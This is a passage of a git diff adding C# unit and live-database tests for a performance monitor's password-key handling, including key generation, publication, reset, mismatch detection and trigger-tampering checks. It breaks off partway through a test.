+    }
+
+    [Theory]
+    [InlineData(0, "these 0 saved passwords")]
+    [InlineData(1, "this 1 saved password must")]
+    [InlineData(7, "these 7 saved passwords must be entered again")]
+    public void TheResetSentence_SaysHowManySavedPasswordsMustBeEnteredAgain(int count, string fragment)
+    {
+        var text = DarlingCliCommands.ResetPasswordKeyRestartSentence(count);
+        Assert.StartsWith("Restart the service. It will make a new password key, and ", text, StringComparison.Ordinal);
+        Assert.Contains(fragment, text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheResetVerb_IsRecognizedCaseInsensitively_AndNothingElseIs()
+    {
+        Assert.True(DarlingCliCommands.IsResetPasswordKeyVerb("--reset-password-key"));
+        Assert.True(DarlingCliCommands.IsResetPasswordKeyVerb("--RESET-PASSWORD-KEY"));
+        Assert.False(DarlingCliCommands.IsResetPasswordKeyVerb("--reset-password"));
+        Assert.False(DarlingCliCommands.IsResetPasswordKeyVerb("--add-server"));
+        Assert.True(DarlingCliCommands.IsKnownVerb("--reset-password-key"), "The start-up classifier must let the verb through to its dispatch.");
+    }
+
+    [Fact]
+    public async System.Threading.Tasks.Task TheResetVerb_RefusesAnUnknownOption_WithoutOpeningAnyStore()
+    {
+        var output = new StringWriter();
+        var error = new StringWriter();
+        var exit = await DarlingCliCommands.ResetPasswordKeyAsync(
+            ["--password", "x"], output, error, TestContext.Current.CancellationToken);
+
+        Assert.Equal(DarlingCliCommands.CollectorToggleExitCode.UsageOrConfig, exit);
+        Assert.Contains("--reset-password-key", error.ToString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheWorker_StartsTheKeyBeforeTheLogHashKey_AndChecksItOnEverySweep()
+    {
+        var worker = ReadSource("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+        var start = worker.IndexOf("DarlingPasswordKeyRuntime.StartForServiceAsync(", StringComparison.Ordinal);
+        var logHash = worker.IndexOf("DarlingLogHashKeyFile.LoadForService(", StringComparison.Ordinal);
+        var firstCollector = worker.IndexOf("new DarlingCollectorRunner(postgres", StringComparison.Ordinal);
+        var sweepCheck = worker.IndexOf("_passwordKeyRuntime.SweepCheckAsync(", StringComparison.Ordinal);
+        var loop = worker.IndexOf("while (!stoppingToken.IsCancellationRequested)\r\n        {\r\n            /* #4732", StringComparison.Ordinal);
+        if (loop < 0)
+        {
+            loop = worker.IndexOf("while (!stoppingToken.IsCancellationRequested)\n        {\n            /* #4732", StringComparison.Ordinal);
+        }
+
+        var provisioning = worker.IndexOf("DarlingManagedRoles.EnsureProvisionedAsync(postgres", StringComparison.Ordinal);
+
+        Assert.True(provisioning >= 0 && start > provisioning, "The key starts after role provisioning.");
+        Assert.True(start > 0 && start < logHash, "The key starts beside the log-hash key, before it.");
+        Assert.True(start < firstCollector, "The key starts before the collector runner exists.");
+        Assert.True(loop > 0 && sweepCheck > loop, "The sweep check is the first thing in the sweep loop's body.");
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(worker, @"DarlingPasswordKeyRuntime\.StartForServiceAsync\("));
+    }
+
+    [Fact]
+    public void TheWorker_StartUpCalls_AreEachOnce_InsideRunCollectionLoopAsync_InOrder()
+    {
+        // #5455, #5456: the first view reads the legacy pins, so the key start (and its pin step) comes first, then the
+        // worker hands the provider the pins-waiting answer, and only then is the first view built. Start-up lives in
+        // RunCollectionLoopAsync, not ExecuteAsync, so the bounds are that method's.
+        var worker = ReadSource("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var begin = worker.IndexOf("private async Task RunCollectionLoopAsync(", StringComparison.Ordinal);
+        Assert.True(begin > 0, "RunCollectionLoopAsync must exist.");
+        var end = worker.IndexOf("\n    }\n", begin, StringComparison.Ordinal);
+        Assert.True(end > begin, "RunCollectionLoopAsync's end was not found.");
+        var loop = worker[begin..end];
+
+        var calls = new[]
+        {
+            "configProvider.SeedIfEmptyAsync(",
+            "DarlingPasswordKeyRuntime.StartForServiceAsync(",
+            "configProvider.LegacyPinsWaiting =",
+            "configProvider.LoadViewAsync(",
+        };
+        var last = -1;
+        foreach (var call in calls)
+        {
+            Assert.Single(System.Text.RegularExpressions.Regex.Matches(worker, System.Text.RegularExpressions.Regex.Escape(call)));
+            var at = loop.IndexOf(call, StringComparison.Ordinal);
+            Assert.True(at > last, $"{call} must come once inside RunCollectionLoopAsync, after the call before it.");
+            last = at;
+        }
+
+        // The worker never reads the pins or the pin tables itself: the store step and the provider do.
+        Assert.DoesNotContain("ReadMonitoredServersAsync", worker, StringComparison.Ordinal);
+        Assert.DoesNotContain("ReadLegacyPinsAsync", worker, StringComparison.Ordinal);
+        Assert.DoesNotContain("legacy_secret_pin", worker, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePinStep_NeverBuildsThePlaintext()
+    {
+        // #5456: the step asks whether this machine opens a value (CanUnprotect) and never holds the opened password.
+        foreach (var file in new[] { "DarlingPasswordKeyStore.cs", "DarlingPasswordKeyRuntime.cs" })
+        {
+            var source = ReadSource("Darling/PerformanceMonitor.Darling.Service/" + file);
+            Assert.DoesNotContain("DarlingSecrets.Unprotect(", source, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheVerb_IsDispatchedFromProgram()
+    {
+        var program = ReadSource("Darling/PerformanceMonitor.Darling.Service/Program.cs");
+        Assert.Contains("DarlingCliCommands.IsResetPasswordKeyVerb(args[0])", program, StringComparison.Ordinal);
+        Assert.Contains("DarlingCliCommands.ResetPasswordKeyAsync(args[1..]", program, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheKeyStore_NamesEveryTriggerTheTablesScriptCreates()
+    {
+        foreach (var (table, trigger) in PasswordKeyTables.OwnerOnlyTriggers)
+        {
+            Assert.Contains($"CREATE TRIGGER {trigger}", PasswordKeyTables.CreateSql, StringComparison.Ordinal);
+            Assert.Contains($"ENABLE ALWAYS TRIGGER {trigger};", PasswordKeyTables.CreateSql, StringComparison.Ordinal);
+            Assert.Contains($"config.{table};", PasswordKeyTables.CreateSql, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(8, PasswordKeyTables.OwnerOnlyTriggers.Count);
+        Assert.Equal(8, System.Text.RegularExpressions.Regex.Matches(PasswordKeyTables.CreateSql, "CREATE TRIGGER ").Count);
+    }
+
+    private static string ReadSource(string relative, [CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln")) && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, relative));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPasswordKeyStateTests.cs b/Darling/Darling.Tests/DarlingPasswordKeyStateTests.cs
new file mode 100644
index 0000000000..fff3758df8
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPasswordKeyStateTests.cs
@@ -0,0 +1,231 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins what the service does with its password key at start (#5366): every row of the decision table, in the table's
+/// order, and the key ring the rest of the service is handed (a ring that is not ready, a ring that refuses, a ring
+/// that holds a key).
+/// </summary>
+public sealed class DarlingPasswordKeyStateTests
+{
+    private static readonly byte[] SpkiA = PasswordPrivateKey.Generate().PublicKey.Spki;
+    private static readonly byte[] SpkiB = PasswordPrivateKey.Generate().PublicKey.Spki;
+
+    private static PublishedKey Published(byte[] spki) => new(PasswordSeal.KeyIdFor(spki), (byte[])spki.Clone());
+
+    private static PasswordKeyFacts Facts(
+        bool filePresent = false, bool untrusted = false, string? refusal = null, byte[]? fileSpki = null,
+        bool afterOpen = false, PublishedKey? current = null, bool retired = false) =>
+        new(filePresent, untrusted, refusal, fileSpki, afterOpen, current, retired);
+
+    [Fact]
+    public void An_untrusted_file_is_refused_and_never_replaced_whatever_else_is_true()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts(
+            filePresent: true, untrusted: true, refusal: "The key file is not usable.", fileSpki: SpkiA,
+            afterOpen: true, current: Published(SpkiA), retired: true));
+
+        Assert.Equal(PasswordKeyAction.Refused, d.Action);
+        Assert.False(d.RetireFileFirst);
+        Assert.Null(d.RetireAs);
+        Assert.Equal("The key file is not usable.", d.Reason);
+    }
+
+    [Fact]
+    public void A_file_found_after_the_directory_was_open_that_matches_the_store_is_used_with_a_warning()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts(
+            filePresent: true, fileSpki: SpkiA, afterOpen: true, current: Published(SpkiA)));
+
+        Assert.Equal(PasswordKeyAction.Use, d.Action);
+        Assert.False(d.RetireFileFirst);
+        Assert.Equal(
+            "The credentials directory was open to other users until this start. The password key still matches the store, "
+            + "so saved passwords work, but another user may have read it. If that is possible, run --reset-password-key "
+            + "and enter the saved passwords again.",
+            d.Warning);
+    }
+
+    [Fact]
+    public void A_file_found_after_the_directory_was_open_that_does_not_match_is_discarded_then_decided_as_absent()
+    {
+        var withoutStoreKey = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA, afterOpen: true));
+        var otherStoreKey = DarlingPasswordKeyState.Decide(Facts(
+            filePresent: true, fileSpki: SpkiA, afterOpen: true, current: Published(SpkiB)));
+
+        Assert.Equal(PasswordKeyAction.Generate, withoutStoreKey.Action);
+        Assert.True(withoutStoreKey.RetireFileFirst);
+        Assert.Equal("discarded", withoutStoreKey.RetireAs);
+        Assert.Equal(PasswordKeyAction.Missing, otherStoreKey.Action);
+        Assert.True(otherStoreKey.RetireFileFirst);
+        Assert.Equal("discarded", otherStoreKey.RetireAs);
+        Assert.Contains(PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(SpkiB)), otherStoreKey.Reason, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void No_file_and_no_published_key_generates()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts());
+
+        Assert.Equal(PasswordKeyAction.Generate, d.Action);
+        Assert.False(d.RetireFileFirst);
+        Assert.Null(d.RetireAs);
+    }
+
+    [Fact]
+    public void No_file_with_a_published_key_is_missing_and_names_the_key()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts(current: Published(SpkiA)));
+
+        Assert.Equal(PasswordKeyAction.Missing, d.Action);
+        Assert.False(d.RetireFileFirst);
+        Assert.Contains(PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(SpkiA)), d.Reason, StringComparison.Ordinal);
+        Assert.Contains("--reset-password-key", d.Reason, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void A_file_with_nothing_published_is_published_unless_the_store_has_retired_it()
+    {
+        var publish = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA));
+        var reset = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA, retired: true));
+
+        Assert.Equal(PasswordKeyAction.PublishFile, publish.Action);
+        Assert.False(publish.RetireFileFirst);
+        Assert.Equal(PasswordKeyAction.Generate, reset.Action);
+        Assert.True(reset.RetireFileFirst);
+        Assert.Equal("retired", reset.RetireAs);
+    }
+
+    [Fact]
+    public void A_file_that_matches_the_published_key_is_used_without_a_warning()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA, current: Published(SpkiA)));
+
+        Assert.Equal(PasswordKeyAction.Use, d.Action);
+        Assert.Null(d.Warning);
+        Assert.Null(d.Reason);
+    }
+
+    [Fact]
+    public void A_file_that_differs_from_the_published_key_is_a_mismatch_naming_both_keys()
+    {
+        var other = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA, current: Published(SpkiB)));
+        var sameIdOtherBytes = DarlingPasswordKeyState.Decide(Facts(
+            filePresent: true, fileSpki: SpkiA, current: new PublishedKey(PasswordSeal.KeyIdFor(SpkiA), SpkiB)));
+
+        Assert.Equal(PasswordKeyAction.Mismatch, other.Action);
+        Assert.False(other.RetireFileFirst);
+        Assert.Contains(PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(SpkiA)), other.Reason, StringComparison.Ordinal);
+        Assert.Contains(PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(SpkiB)), other.Reason, StringComparison.Ordinal);
+        Assert.Equal(PasswordKeyAction.Mismatch, sameIdOtherBytes.Action);
+    }
+
+    [Fact]
+    public void A_published_key_whose_id_does_not_match_its_key_is_a_mismatch_with_a_file_and_refused_without_one()
+    {
+        var inconsistent = new PublishedKey("not-a-key-id with text", (byte[])SpkiB.Clone());
+
+        var withFile = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA, current: inconsistent));
+        var withFileSameBytes = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiB, current: inconsistent));
+        var withoutFile = DarlingPasswordKeyState.Decide(Facts(current: inconsistent));
+
+        Assert.Equal(PasswordKeyAction.Mismatch, withFile.Action);
+        Assert.Equal(PasswordKeyAction.Mismatch, withFileSameBytes.Action);
+        Assert.Equal(PasswordKeyAction.Refused, withoutFile.Action);
+        Assert.False(withoutFile.RetireFileFirst);
+        Assert.StartsWith("The store's published password key is inconsistent: its id does not match the key.", withoutFile.Reason, StringComparison.Ordinal);
+        Assert.DoesNotContain("not-a-key-id", withFile.Reason, StringComparison.Ordinal);
+        Assert.DoesNotContain("not-a-key-id", withoutFile.Reason, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void The_reasons_print_the_key_id_worked_out_from_the_key_not_the_text_the_store_holds()
+    {
+        var text = "store-held-text-not-an-id";
+        var withoutFile = DarlingPasswordKeyState.Decide(Facts(current: new PublishedKey(text, (byte[])SpkiB.Clone())));
+        var mismatch = DarlingPasswordKeyState.Decide(Facts(filePresent: true, fileSpki: SpkiA, current: new PublishedKey(text, (byte[])SpkiB.Clone())));
+
+        Assert.DoesNotContain(text, mismatch.Reason, StringComparison.Ordinal);
+        Assert.Contains(PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(SpkiB)), mismatch.Reason, StringComparison.Ordinal);
+        Assert.DoesNotContain(text, withoutFile.Reason, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void A_present_file_with_no_readable_key_is_refused_rather_than_replaced()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts(filePresent: true, current: Published(SpkiA)));
+
+        Assert.Equal(PasswordKeyAction.Refused, d.Action);
+        Assert.False(d.RetireFileFirst);
+    }
+
+    [Fact]
+    public void The_table_is_checked_in_order_so_a_retired_flag_does_not_beat_a_matching_published_key()
+    {
+        var d = DarlingPasswordKeyState.Decide(Facts(
+            filePresent: true, fileSpki: SpkiA, current: Published(SpkiA), retired: true));
+
+        Assert.Equal(PasswordKeyAction.Use, d.Action);
+        Assert.False(d.RetireFileFirst);
+    }
+
+    [Fact]
+    public void The_ring_starts_not_ready_and_refuses_to_seal_with_the_not_ready_sentence()
+    {
+        // A fresh ring built the way the process-wide one starts, so no other test's setting can change the answer.
+        var ring = DarlingPasswordKey.Refusing(DarlingPasswordKey.NotReadyReason);
+        var binding = PasswordBinding.ForSmtp("omega-01", 587, true, "example_mail_user");
+
+        Assert.False(ring.Status.CanSeal);
+        Assert.Equal(DarlingPasswordKey.NotReadyReason, ring.Status.Reason);
+        Assert.Null(ring.Status.KeyId);
+        Assert.Null(ring.Status.PublicKey);
+        Assert.Equal(DarlingPasswordKey.NotReadyReason, Assert.Throws<InvalidOperationException>(() => ring.Seal("p@ss-not-real", binding)).Message);
+    }
+
+    [Fact]
+    public void A_refusing_ring_seals_nothing_and_opens_nothing()
+    {
+        var ring = DarlingPasswordKey.Refusing("The password key file cannot be used.");
+        var binding = PasswordBinding.ForSmtp("omega-01", 587, true, "example_mail_user");
+
+        Assert.False(ring.Status.CanSeal);
+        Assert.Equal("The password key file cannot be used.", ring.Status.Reason);
+        Assert.Equal("The password key file cannot be used.", Assert.Throws<InvalidOperationException>(() => ring.Seal("p@ss-not-real", binding)).Message);
+        var ex = Assert.Throws<PasswordSealException>(() => ring.Open("sealed:v1:0123456789abcdef:AAAA", binding));
+        Assert.Equal(PasswordSealFailure.UnknownKey, ex.Kind);
+        Assert.Null(ex.InnerException);
+        Assert.Equal(PasswordSealFailure.UnknownKey, Assert.Throws<PasswordSealException>(() => ring.Open("not sealed", binding)).Kind);
+    }
+
+    [Fact]
+    public void A_ring_over_a_private_key_seals_and_opens_and_reports_its_key()
+    {
+        using var key = PasswordPrivateKey.Generate();
+        var ring = DarlingPasswordKey.FromPrivateKey(key);
+        var binding = PasswordBinding.ForSmtp("omega-01", 587, true, "example_mail_user");
+
+        var text = ring.Seal("p@ss-not-real", binding);
+
+        Assert.True(ring.Status.CanSeal);
+        Assert.Null(ring.Status.Reason);
+        Assert.Equal(key.PublicKey.KeyId, ring.Status.KeyId);
+        Assert.Same(key.PublicKey, ring.Status.PublicKey);
+        Assert.Equal("p@ss-not-real", ring.Open(text, binding));
+        Assert.Equal(
+            PasswordSealFailure.BindingOrTamper,
+            Assert.Throws<PasswordSealException>(() => ring.Open(text, PasswordBinding.ForSmtp("omega-02", 587, true, "example_mail_user"))).Kind);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs b/Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs
new file mode 100644
index 0000000000..6403ea9ef7
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs
@@ -0,0 +1,1100 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every fact here mints its own scratch database through ScratchPostgres, runs the service's key start
+   against it as the store owner, and never touches another test's rows, so the class is deliberately NOT
+   [Collection("live-postgres")]. */
+
+/// <summary>
+/// The service's password key at run time against a real store (#5366): the start (generate, publish, use, retire after a
+/// reset, a key kept from an open directory), the per-host state row, the legacy pin snapshot, the per-sweep check and
+/// the trigger check. Each fact uses its own scratch database and its own key directory.
+/// </summary>
+public sealed class DarlingPasswordKeyStoreLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task AFreshStore_GeneratesAKey_PublishesIt_AndRecordsTheHostAsOk()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            var logger = new ListLogger();
+            var runtime = await store.StartAsync(logger: logger);
+
+            Assert.Equal("ok", runtime.State);
+            Assert.True(runtime.Ring.Status.CanSeal);
+            Assert.Same(runtime.Ring, store.LastRing);
+            Assert.True(File.Exists(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName)));
+
+            var published = await store.ReadCurrentAsync();
+            Assert.NotNull(published);
+            Assert.Equal(runtime.Ring.Status.KeyId, published.KeyId);
+            Assert.Equal("RSA3072-OAEP-SHA256/A256GCM", published.Algorithm);
+
+            var state = await store.ReadStateAsync("example-host");
+            Assert.Equal(("ok", published.KeyId), (state.State, state.KeyId));
+            Assert.Contains(logger.Lines, l => l.StartsWith($"Password key {PasswordSeal.DisplayKeyId(published.KeyId)} generated in ", StringComparison.Ordinal));
+
+            // A second start finds the file and the published key agree and says "loaded".
+            var again = await store.StartAsync(logger: logger);
+            Assert.Equal("ok", again.State);
+            Assert.Equal(runtime.Ring.Status.KeyId, again.Ring.Status.KeyId);
+            Assert.Contains(logger.Lines, l => l.StartsWith($"Password key {PasswordSeal.DisplayKeyId(published.KeyId)} loaded from ", StringComparison.Ordinal));
+
+            // What the ring seals, the ring opens, and what is stored carries the published key's id.
+            var binding = PasswordBinding.ForSmtp("smtp.example.com", 25, false, "user");
+            var sealedText = again.Ring.Seal("p@ss-not-real", binding);
+            Assert.Equal("p@ss-not-real", again.Ring.Open(sealedText, binding));
+            Assert.Equal(published.KeyId, PasswordSeal.KeyIdOf(sealedText));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AResetThenAStart_RetiresTheOldFile_MakesANewKey_AndMarksTheOldRowReplaced()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            var first = await store.StartAsync();
+            var oldId = first.Ring.Status.KeyId!;
+
+            await using (var c = await store.Source.OpenConnectionAsync(TestContext.Current.CancellationToken))
+            {
+                Assert.Equal(oldId, await DarlingPasswordKeyStore.MarkCurrentResetAsync(c, TestContext.Current.CancellationToken));
+            }
+
+            var second = await store.StartAsync();
+
+            Assert.Equal("ok", second.State);
+            Assert.NotEqual(oldId, second.Ring.Status.KeyId);
+            Assert.True(File.Exists(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName + ".retired")));
+            Assert.True(File.Exists(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName)));
+
+            var rows = await store.ReadRowsAsync();
+            Assert.Equal(["current", "replaced"], [rows[second.Ring.Status.KeyId!].State, rows[oldId].State]);
+            Assert.Equal("reset", rows[oldId].Reason);
+            Assert.True(rows[oldId].ReplacedAtSet);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AKeyFileWithNoPublishedKey_IsPublished_AndAMissingFileRefusesWithTheStateMissing()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            using var made = PasswordPrivateKey.Generate();
+            var written = DarlingPasswordKeyFile.Generate(store.Directory, made.ExportPkcs8, new ListLogger());
+            Assert.True(written.Present);
+
+            var published = await store.StartAsync();
+            Assert.Equal("ok", published.State);
+            Assert.Equal(made.PublicKey.KeyId, (await store.ReadCurrentAsync())!.KeyId);
+
+            // The store publishes a key and the directory no longer has it.
+            File.Move(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName), Path.Combine(store.Directory, "moved-away"));
+            var missing = await store.StartAsync();
+
+            Assert.Equal("missing", missing.State);
+            Assert.False(missing.Ring.Status.CanSeal);
+            Assert.Contains("is missing from the credentials directory", missing.Ring.Status.Reason, StringComparison.Ordinal);
+            Assert.Equal("missing", (await store.ReadStateAsync("example-host")).State);
+            Assert.False(File.Exists(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName)));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AKeptKeyThatPassesTheSelfTest_IsAccepted_AndIsBackAtTheLiveNameAfterTheStart()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            var first = await store.StartAsync();
+            var keptPath = Path.Combine(store.Directory, DarlingPasswordKeyFile.QuarantineFileName);
+            File.Move(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName), keptPath);
+
+            var logger = new ListLogger();
+            var second = await store.StartAsync(logger: logger);
+
+            Assert.Equal("ok", second.State);
+            Assert.Equal(first.Ring.Status.KeyId, second.Ring.Status.KeyId);
+            Assert.True(File.Exists(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName)));
+            Assert.False(File.Exists(keptPath));
+            Assert.Contains(logger.Lines, l => l.Contains("another user may have read it", StringComparison.Ordinal));
+            Assert.Contains("another user may have read it", (await store.ReadStateAsync("example-host")).Note, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task AKeptKeyWhosePrivateHalfDoesNotOpenTheSelfTest_IsNotUsed_AndStaysWhereItWas()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.StartAsync();
+            var keptPath = Path.Combine(store.Directory, DarlingPasswordKeyFile.QuarantineFileName);
+            File.Move(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName), keptPath);
+
+            var refused = await store.StartAsync(selfTest: static (_, _) => false);
+
+            Assert.Equal("mismatch", refused.State);
+            Assert.False(refused.Ring.Status.CanSeal);
+            Assert.True(File.Exists(keptPath));
+            Assert.False(File.Exists(Path.Combine(store.Directory, DarlingPasswordKeyFile.FileName)));
+            Assert.Equal("mismatch", (await store.ReadStateAsync("example-host")).State);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task ADisabledOrExtraTrigger_MakesTheStartRefuse_AndNoKeyIsPublished()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.ExecAsync("ALTER TABLE config.password_key DISABLE TRIGGER trg_password_key_owner_only_row;");
+            var disabled = await store.StartAsync();
+            Assert.Equal("refused", disabled.State);
+            Assert.False(disabled.Ring.Status.CanSeal);
+            Assert.Contains("trg_password_key_owner_only_row", disabled.Ring.Status.Reason, StringComparison.Ordinal);
+            Assert.Null(await store.ReadCurrentAsync());
+            Assert.Equal("refused", (await store.ReadStateAsync("example-host")).State);
+
+            await store.ExecAsync("ALTER TABLE config.password_key ENABLE ALWAYS TRIGGER trg_password_key_owner_only_row;");
+            await store.ExecAsync(
+                "CREATE TRIGGER trg_extra BEFORE INSERT ON config.legacy_secret_pin FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();");
+            var extra = await store.StartAsync();
+            Assert.Equal("refused", extra.State);
+            Assert.Contains("trg_extra", extra.Ring.Status.Reason, StringComparison.Ordinal);
+
+            await store.ExecAsync("DROP TRIGGER trg_extra ON config.legacy_secret_pin;");
+            Assert.Equal("ok", (await store.StartAsync()).State);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task TheSweepCheck_RefusesOnAResetAMismatchOrADisabledTrigger_AndRecoversWhenTheStoreIsRight()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            var runtime = await store.StartAsync();
+            var ct = TestContext.Current.CancellationToken;
+            var heldId = runtime.Ring.Status.KeyId!;
+
+            await runtime.SweepCheckAsync(ct);
+            Assert.Same(runtime.Ring, store.LastRing);
+
+            // A trigger that stops protecting the tables.
+            await store.ExecAsync("ALTER TABLE config.password_key_service DISABLE TRIGGER trg_password_key_service_owner_only_row;");
+            await runtime.SweepCheckAsync(ct);
+            Assert.False(store.LastRing!.Status.CanSeal);
+            Assert.Equal("refused", (await store.ReadStateAsync("example-host")).State);
+            await store.ExecAsync("ALTER TABLE config.password_key_service ENABLE ALWAYS TRIGGER trg_password_key_service_owner_only_row;");
+            await runtime.SweepCheckAsync(ct);
+            Assert.Same(runtime.Ring, store.LastRing);
+            Assert.Equal("ok", (await store.ReadStateAsync("example-host")).State);
+
+            // A reset made while the service runs: no current row.
+            await using (var c = await store.Source.OpenConnectionAsync(ct))
+            {
+                await DarlingPasswordKeyStore.MarkCurrentResetAsync(c, ct);
+            }
+
+            await runtime.SweepCheckAsync(ct);
+            Assert.False(store.LastRing!.Status.CanSeal);
+            Assert.Equal("reset_pending", (await store.ReadStateAsync("example-host")).State);
+
+            // A different key published in its place.
+            using var other = PasswordPrivateKey.Generate();
+            await store.ExecAsync(
+                "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES (@id, @key, 'RSA3072-OAEP-SHA256/A256GCM', 'current');",
+                ("id", other.PublicKey.KeyId), ("key", other.PublicKey.Spki));
+            await runtime.SweepCheckAsync(ct);
+            Assert.False(store.LastRing!.Status.CanSeal);
+            Assert.Equal("mismatch", (await store.ReadStateAsync("example-host")).State);
+            Assert.NotEqual(heldId, other.PublicKey.KeyId);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task StateRowsNotUpdatedForThirtyDays_AreDeletedAtStart_AndRecentOnesStay()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.ExecAsync(
+                "INSERT INTO config.password_key_service (service_host, key_id, state, updated_at) VALUES ('old-host-example', NULL, 'ok', (now() AT TIME ZONE 'UTC') - interval '31 days'), " +
+                "('recent-host-example', NULL, 'ok', (now() AT TIME ZONE 'UTC') - interval '29 days');");
+
+            await store.StartAsync();
+
+            var hosts = await store.ReadHostsAsync();
+            Assert.Equal(["example-host", "recent-host-example"], hosts);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await store.CleanupAsync(bodySucceeded);
+        }
+    }
+
+    [Fact]
+    public async Task OnWindows_ThePinSnapshotPinsEachOpenableLegacyValue_ToItsRowAndConnection_ThenIsDone()
+    {
+        await using var store = await StoreFixture.CreateAsync();
+        var bodySucceeded = false;
+        try
+        {
+            await store.SeedServersAtUpgradeAsync();
+            bool Open(string stored) => stored.StartsWith("legacy-", StringComparison.Ordinal) ? true : throw new CryptographicException("not a blob");
+
+            var logger = new ListLogger();
+            var versionBefore = await store.ConfigVersionAsync();
